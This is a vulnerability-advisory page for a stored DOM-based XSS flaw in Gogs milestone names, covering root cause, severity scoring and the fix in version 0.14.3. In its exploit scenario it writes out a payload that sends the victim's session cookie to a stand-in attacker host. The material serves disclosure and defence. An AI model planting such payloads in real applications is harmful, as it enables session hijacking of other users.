Skip to main content

Gogs CVE-2026-52807

| EUVDEUVD-2026-39075 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-23 https://github.com/gogs/gogs GHSA-vcm5-gvmp-78mp
4.8
CVSS 4.0 · Vendor: https://github.com/gogs/gogs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain repo write access
  2. Delivery
    Create milestone with JS payload in name
  3. Exploit
    Victim opens New Issue page
  4. Install
    Victim interacts with milestone dropdown
  5. C2
    Semantic UI preserveHTML re-parses payload
  6. Execute
    Arbitrary JS executes in victim session
  7. Impact
    Session cookie theft or privileged actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must hold repository write access on a target Gogs instance (required to create milestones), the target Gogs version must be older than 0.14.3, and a victim user must subsequently open the New Issue page of the same repository AND interact with (open or select from) the milestone dropdown so Semantic UI's default preserveHTML: true setting routes the milestone name through jQuery .html(). Exploitation is bounded by these factors: it cannot be triggered unauthenticated or against read-only users, it requires victim UI interaction (not just page load), and any Gogs deployment that has disabled Semantic UI dropdowns or set preserveHTML: false in custom JS is not vulnerable.

Impact

No CVSS vector or EPSS score is provided in the input, and the issue is not on the CISA KEV list, so this is not confirmed actively exploited (CISA KEV). However, publicly available exploit code exists in the form of a Docker-based PoC linked from the GHSA advisory, and the attack is reliably triggerable in default Gogs deployments because Semantic UI's preserveHTML: true is the shipped default. Practically, exploitation requires a low-privileged authenticated user (repository write access) and victim interaction with the milestone dropdown, making this a credible insider/abuse-of-collaborator scenario rather than a mass-exploitable internet-facing flaw - real risk is moderate for multi-tenant Gogs instances and low for tightly controlled private deployments. Because no NVD CVSS is published yet, the severity signal is weaker than for KEV-listed bugs and should be assessed against the deployment's trust model.

Exploit ScenarioDerived

A collaborator on a Gogs repository creates a milestone named <img src=x onerror=fetch('https://attacker/'+document.cookie)>; when a maintainer later opens the New Issue page and clicks the milestone dropdown, Semantic UI re-parses the decoded name through jQuery .html() and runs the attacker's JavaScript in the maintainer's session, exfiltrating their session cookie. The published PoC bundles a docker-compose environment that reproduces this end-to-end against a default Gogs install.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

Stored DOM-based XSS in Gogs versions prior to 0.14.3 allows any repository user with write access to inject JavaScript via a crafted milestone name, which executes in another user's browser when they open the New Issue page and interact with the milestone dropdown. The flaw is an incomplete fix for the earlier GHSA-vgjm-2cpf-4g7c, which patched view_content.tmpl but missed the identical sink in new_form.tmpl. A working PoC is published in the GitHub advisory, but no public exploit identified at time of analysis in CISA KEV or EPSS-tracked sources.

RemediationAI

Vendor-released patch: Gogs 0.14.3 - upgrade affected Gogs instances to 0.14.3 or later, which adds the | Sanitize bluemonday filter to the three milestone-name sinks in templates/repo/issue/new_form.tmpl as shown in PR https://github.com/gogs/gogs/pull/8325 and commit https://github.com/gogs/gogs/commit/573eacdc658641487f8ad883da96b29ec8e2852d. If immediate upgrade is not possible, operators can apply the same one-line template change locally and rebuild the Docker image, or as a compensating control restrict repository write access to trusted users and audit existing milestone names for HTML/JavaScript payloads (trade-off: collaborators lose self-service milestone creation and audit must be repeated whenever a new user is granted write). A stricter mitigation is to disable Semantic UI dropdowns or set preserveHTML: false in the bundled JavaScript, but this risks breaking other dropdowns in the UI.

Affected VersionsENISA

gogs < 0.14.3

Affected Packages

go gogs.io/gogs fix: 0.14.3
euvd gogs fix: 0.14.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gogs is a self-hosted Go-based Git service (CPE pkg:go/gogs.io_gogs) using Go's html/template package and the Semantic UI 2.4.2 front-end framework. The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) arises from a mismatch between server-side output encoding and client-side DOM manipulation: Go templates auto-escape {{.Name}} to safe HTML entities, but Semantic UI's dropdown component defaults to preserveHTML: true, so when a user selects an item, its internal set.text() invokes jQuery .html() on the decoded text content, re-parsing the original payload as live HTML. The earlier fix in templates/repo/issue/view_content.tmpl piped milestone names through the | Sanitize bluemonday filter, but the structurally identical sinks in templates/repo/issue/new_form.tmpl were left unfiltered.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gogs/gogs) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-reachable web UI, low complexity, requires authenticated write access (PR:L) and victim dropdown interaction (UI:R); scope changes to victim's browser context with limited C/I impact and no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/gogs/gogs).

CVSS VectorVendor: https://github.com/gogs/gogs

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 24, 2026 - 21:22 NVD
4.8 (MEDIUM)

DescriptionCVE.org

Summary

The fix for GHSA-vgjm-2cpf-4g7c (DOM-based XSS via milestone selection) was only applied to templates/repo/issue/view_content.tmpl but not to templates/repo/issue/new_form.tmpl. An attacker can store an HTML/JavaScript payload in a milestone name, and when any user opens the New Issue page and interacts with the milestone dropdown, the payload executes in their browser via Semantic UI's preserveHTML behavior.

Details

GHSA-vgjm-2cpf-4g7c was patched by adding | Sanitize (bluemonday HTML tag stripping) to milestone name rendering in view_content.tmpl. However, the same milestone dropdown exists in new_form.tmpl and was not patched.

In new_form.tmpl, milestone names are rendered with Go's default auto-escaping ({{.Name}}), which converts < to &lt; etc. This prevents direct HTML injection. However, when the browser renders the DOM, the text content of the element contains the decoded original payload (e.g., <img src=x onerror=alert(1)>).

Semantic UI 2.4.2's dropdown component has preserveHTML: true as the default setting. When a user selects a dropdown item, the internal set.text() method calls jQuery's .html() with the item's text content. This re-parses the decoded text as HTML, creating the injected element and triggering the JavaScript event handler.

PoC

poc.zip Please extract the uploaded compressed file before proceeding

  1. docker compose up --build

<img width="1325" height="315" alt="스크린샷 2026-04-06 오후 9 34 05" src="https://github.com/user-attachments/assets/87895cce-5b8e-4320-829a-87a5890cc0d9" />

Impact

  • Stored DOM XSS: Any user with write access to a repository can create a malicious milestone. Any other user who visits the New Issue page and interacts with the milestone dropdown will have arbitrary JavaScript executed in their browser session.
  • Session hijacking: The attacker can steal session cookies, perform actions as the victim, or escalate privileges.

Executive ViewAI

Why It Matters

Gogs installations running versions prior to 0.14.3 are vulnerable to a stored cross-site scripting attack through the milestone feature, allowing any developer with repository write privileges to plant malicious code that executes in other users' browsers during issue creation workflows. Publicly available exploit code exists, enabling attackers to leverage this as a direct lateral privilege escalation pathway within development teams. Immediate patching to version 0.14.3 is critical to prevent unauthorized code execution and credential compromise across your development infrastructure.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 62% exploitable
Prevalence
Medium
popular self-hosted Git service, smaller footprint than Gitea/GitLab
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy